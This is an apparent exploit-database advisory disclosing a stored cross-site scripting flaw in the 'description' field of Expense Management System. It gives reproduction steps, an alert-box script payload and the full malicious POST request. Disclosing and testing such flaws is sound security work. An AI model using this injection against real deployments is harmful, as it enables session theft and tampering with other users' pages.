Expanse Management System Cross Site Scripting

`# Exploit Title: Expense Management System - 'description' Stored Cross Site Scripting  
# Date: 02/12/2020  
# Exploit Author: Nikhil Kumar  
# Vendor Homepage: http://egavilanmedia.com/  
# Software Link: http://egavilanmedia.com/expense-management-system/  
# Tested On: Ubuntu  
  
Vunerable Parameter: "description="  
  
Steps to Reproduce:  
  
1. Open the index.php page using following url   
  
http://localhost/Expense-Management-System/index.php  
  
click on Add Expense  
  
2. Put a payload on "description=" parameter  
  
Payload :- test"><script>alert("XSS")</script>  
  
Malicious Request::  
  
POST /Expense-Management-System/expense_action.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 140  
Origin: http://localhost  
DNT: 1  
Connection: close  
Referer: http://localhost/Expense-Management-System/  
Cookie: PHPSESSID=45f122ec98900409467ac74f6113ff4a  
  
description=test%22%3E%3Cscript%3Ealert("XSS")%3C%2Fscript%3E&amount=1234&date=2020%2F11%2F17&expense_id=&action=Add  
`